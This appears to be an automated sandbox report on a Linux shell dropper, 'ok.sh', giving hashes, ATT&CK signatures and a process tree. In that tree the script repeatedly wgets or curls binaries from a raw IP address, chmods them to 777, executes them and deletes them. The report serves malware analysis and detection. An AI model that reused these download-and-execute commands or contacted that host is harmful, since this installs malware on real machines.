6ebefed959519a65ac1648951811d2c65e5279584f1c281f44fbd19a0f5eb72a

Analysis

max time kernel
7s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/08/2026, 20:06

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General

Target
ok.sh
Size 1KB
Sample260808-yvmccafc72
SHA256 6ebefed959519a65ac1648951811d2c65e5279584f1c281f44fbd19a0f5eb72a
MD5 43ece1e086b3f84c5423c428e02430a6
SHA1 f1b3218b64682b26d19560b70aaafe3d73b2522e
SHA512 b56c63518eb3502d2c87be9565fae7cc35971573938d196085d7bfae3800407e7b8b4577153b8e8753246d4071b83faa5cfd5d566db5283cc857fdd15d416e5d
TLSH
T1DC31A6DA40105E311112DE8E77A23258B28DB7EB298FC7E4C84D1DAA929878CF561B4C
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
713	chmod
820	chmod
834	chmod
682	chmod
737	chmod
762	chmod
769	chmod
776	chmod
799	chmod
827	chmod
689	chmod
696	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/191276	683	ok.sh
/tmp/0d2891	690	ok.sh
/tmp/d236bf	697	ok.sh
/tmp/2adcae	715	ok.sh
/tmp/072508	739	ok.sh
/tmp/c70dba	763	ok.sh
/tmp/35079b	770	ok.sh
/tmp/6cd6ef	777	ok.sh
/tmp/0c4b84	801	ok.sh
/tmp/e47c56	821	ok.sh
/tmp/878f49	828	ok.sh
/tmp/50fc1e	835	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0c4b84	curl
File opened for modification	/tmp/50fc1e	curl
File opened for modification	/tmp/191276	curl
File opened for modification	/tmp/0d2891	curl
File opened for modification	/tmp/2adcae	curl
File opened for modification	/tmp/35079b	curl
File opened for modification	/tmp/6cd6ef	curl
File opened for modification	/tmp/e47c56	curl
File opened for modification	/tmp/878f49	curl
File opened for modification	/tmp/d236bf	curl
File opened for modification	/tmp/072508	curl
File opened for modification	/tmp/c70dba	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:654
- /usr/bin/wget
  wget http://5.182.210.174/191276
  2⤵
  PID:659
- /usr/bin/curl
  curl -O http://5.182.210.174/191276
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 191276
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/191276
  ./191276 bc
  2⤵
  PID:683
- /bin/rm
  rm -rf 191276
  2⤵
  PID:685
- /bin/rm
  rm -rf 191276.1
  2⤵
  PID:686
- /usr/bin/wget
  wget http://5.182.210.174/0d2891
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://5.182.210.174/0d2891
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod 777 0d2891
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/0d2891
  ./0d2891 bc
  2⤵
  PID:690
- /bin/rm
  rm -rf 0d2891
  2⤵
  PID:692
- /bin/rm
  rm -rf 0d2891.1
  2⤵
  PID:693
- /usr/bin/wget
  wget http://5.182.210.174/d236bf
  2⤵
  PID:694
- /usr/bin/curl
  curl -O http://5.182.210.174/d236bf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:695
- /bin/chmod
  chmod 777 d236bf
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/d236bf
  ./d236bf bc
  2⤵
  PID:697
- /bin/rm
  rm -rf d236bf
  2⤵
  PID:699
- /bin/rm
  rm -rf d236bf.1
  2⤵
  PID:700
- /usr/bin/wget
  wget http://5.182.210.174/2adcae
  2⤵
  PID:701
- /usr/bin/curl
  curl -O http://5.182.210.174/2adcae
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 2adcae
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/2adcae
  ./2adcae bc
  2⤵
  PID:715
- /bin/rm
  rm -rf 2adcae
  2⤵
  PID:718
- /bin/rm
  rm -rf 2adcae.1
  2⤵
  PID:719
- /usr/bin/wget
  wget http://5.182.210.174/072508
  2⤵
  PID:721
- /usr/bin/curl
  curl -O http://5.182.210.174/072508
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 072508
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/072508
  ./072508 bc
  2⤵
  PID:739
- /bin/rm
  rm -rf 072508
  2⤵
  PID:741
- /bin/rm
  rm -rf 072508.1
  2⤵
  PID:743
- /usr/bin/wget
  wget http://5.182.210.174/c70dba
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://5.182.210.174/c70dba
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 c70dba
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/c70dba
  ./c70dba bc
  2⤵
  PID:763
- /bin/rm
  rm -rf c70dba
  2⤵
  PID:765
- /bin/rm
  rm -rf c70dba.1
  2⤵
  PID:766
- /usr/bin/wget
  wget http://5.182.210.174/35079b
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://5.182.210.174/35079b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod 777 35079b
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/35079b
  ./35079b bc
  2⤵
  PID:770
- /bin/rm
  rm -rf 35079b
  2⤵
  PID:772
- /bin/rm
  rm -rf 35079b.1
  2⤵
  PID:773
- /usr/bin/wget
  wget http://5.182.210.174/6cd6ef
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://5.182.210.174/6cd6ef
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod 777 6cd6ef
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/6cd6ef
  ./6cd6ef bc
  2⤵
  PID:777
- /bin/rm
  rm -rf 6cd6ef
  2⤵
  PID:779
- /bin/rm
  rm -rf 6cd6ef.1
  2⤵
  PID:780
- /usr/bin/wget
  wget http://5.182.210.174/0c4b84
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://5.182.210.174/0c4b84
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 0c4b84
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/0c4b84
  ./0c4b84 bc
  2⤵
  PID:801
- /bin/rm
  rm -rf 0c4b84
  2⤵
  PID:804
- /bin/rm
  rm -rf 0c4b84.1
  2⤵
  PID:805
- /usr/bin/wget
  wget http://5.182.210.174/e47c56
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://5.182.210.174/e47c56
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 e47c56
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/e47c56
  ./e47c56 bc
  2⤵
  PID:821
- /bin/rm
  rm -rf e47c56
  2⤵
  PID:823
- /bin/rm
  rm -rf e47c56.1
  2⤵
  PID:824
- /usr/bin/wget
  wget http://5.182.210.174/878f49
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://5.182.210.174/878f49
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 878f49
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/878f49
  ./878f49 bc
  2⤵
  PID:828
- /bin/rm
  rm -rf 878f49
  2⤵
  PID:830
- /bin/rm
  rm -rf 878f49.1
  2⤵
  PID:831
- /usr/bin/wget
  wget http://5.182.210.174/50fc1e
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://5.182.210.174/50fc1e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 50fc1e
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/50fc1e
  ./50fc1e bc
  2⤵
  PID:835
- /bin/rm
  rm -rf 50fc1e
  2⤵
  PID:837
- /bin/rm
  rm -rf 50fc1e.1
  2⤵
  PID:838

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

191276

Path /tmp/191276
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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